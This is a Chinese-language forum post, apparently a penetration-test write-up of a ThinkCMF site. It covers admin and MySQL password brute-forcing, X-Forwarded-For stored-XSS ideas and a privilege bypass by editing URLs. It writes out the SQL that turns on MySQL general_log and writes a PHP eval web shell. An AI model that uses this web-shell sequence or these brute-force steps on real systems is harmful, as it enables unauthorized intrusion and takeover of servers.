taibeihacker
Moderator
前言
前不久的一次授權測試中,感覺缺少任何一步都無法達到getshell的目的,單個漏洞看得話確實平平無奇,但是如果組合起來的話也許會有意想不到的化學效應。前期测试
拿到這個站的時候一眼就看見了會員登錄界面,一開始想著註冊,但是覺得會員功能應該很少,沒驗證碼啥的,萬一後台管理員也是會員呢那豈不是要是爆破出來了可以去後台嘗試一波。
顯示的是手機號登錄,但是可以嘗試下admin,千萬不要被他的前台迷惑了。很巧的是可以進行用戶名枚舉,而且還存在admin賬號,不爆破都對不起他

字典呢用的是鴨王的字典,爆破神器,用這個字典爆破出來過不少站點(https://github.com/TheKingOfDuck/fuzzDicts), 這次也很幸運,爆破出來了

拿到後台去登錄下,管理員確實喜歡採用同樣的密碼,登錄進去了。看到後台可以自定義上傳的後綴心裡想可以愉快的交差了,增加後綴php,找上傳一條龍getshell。

當我看到上傳圖片的編輯器的時候我感覺事情並不是那麼簡單,果不其然那個增加後綴不起作用


後台發現是thinkcmf建站系統,網上搜索能利用的漏洞,看到一個漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF漏洞全集和.html) 挨個去嘗試下無果,繼續搜索(https://www.freebuf.com/vuls/217586.html), 基本上能嘗試的都payload都試了試,應該是版本高漏洞修復了或者利用方式不太對,反正是沒利用成功。有的方法對網站有破壞性,我要是試了不得被打死呀。既然到現在無法getshell,那就嘗試找找漏洞吧,領導說的好如果無法getshell就多找漏洞,聽領導的總沒有錯。
进阶阶段
在一開始打開網站的時候,由於安裝了谷歌插件sensinfor(t00ls上發現的),可以初步探測網站的敏感目錄,比如備份文件,phpmyadmin,phpinfo等等,在一開始就探測出存在phpinfo,獲取了網站的絕對路徑
常規用nmap探測下開放的端口,發現對外開放了3306端口,有絕對路徑了,不抱希望的去爆破下3306吧,反正我是沒爆破出幾個3306的密碼,用下超級弱口令檢查工具,字典接著用鴨王的吧,誰知道是字典強大還是運氣爆破,話說這個不算弱口令,只能說字典裡有這個密碼吧,只要字典存在的就是弱密碼,沒有錯。

接下來就是常規操作了,試下log寫日誌吧
show variables like '%general%'; 查看日誌狀態
SET GLOBAL general_log='on' 開啟日誌讀寫
SET GLOBAL general_log_file='xxx.php' 指定日誌路徑
SELECT '?php eval($_POST['cmd']);' 寫日誌進xxx.php

其他漏洞
基於負責任的態度也發現了一些其他的漏洞,不過相對來說危害性不大吧,但是如果在寫測試報告的時候如果沒得寫也是可以寫上的。登录IP伪造這個後台一般都有記錄用戶登錄IP的習慣,但是如果記錄IP的時候選取的是x-forward-for構造的IP,這樣攻擊者是可以偽造登錄IP的,如果沒有對IP的合法性進行校驗,構造一個XSS payload觸發存儲型XSS這也不是沒可能,在測試的時候就遇到過幾次,後台記錄會員登錄IP的地方存在存儲型XSS


不過這里美中不足的是後台對IP的合法性進行了校驗,如果是不合法的IP會被重置為0.0.0.0
越权漏洞登錄後發現管理員沒辦法對自己進行操作,這很尷尬,管理員都沒辦法更改自己的信息

很簡單的辦法隨便找個可以進行更改的鏈接,更改url實現修改管理員信息,按照經驗這種限制管理員更改自己信息的情況我遇到的很多都是前端限制了。

然後會彈出詳情頁面,可以進行修改操作,這裡修改下會員等級把自己從普通會員變成VIP吧,一個管理員怎麼能是普通會員呢
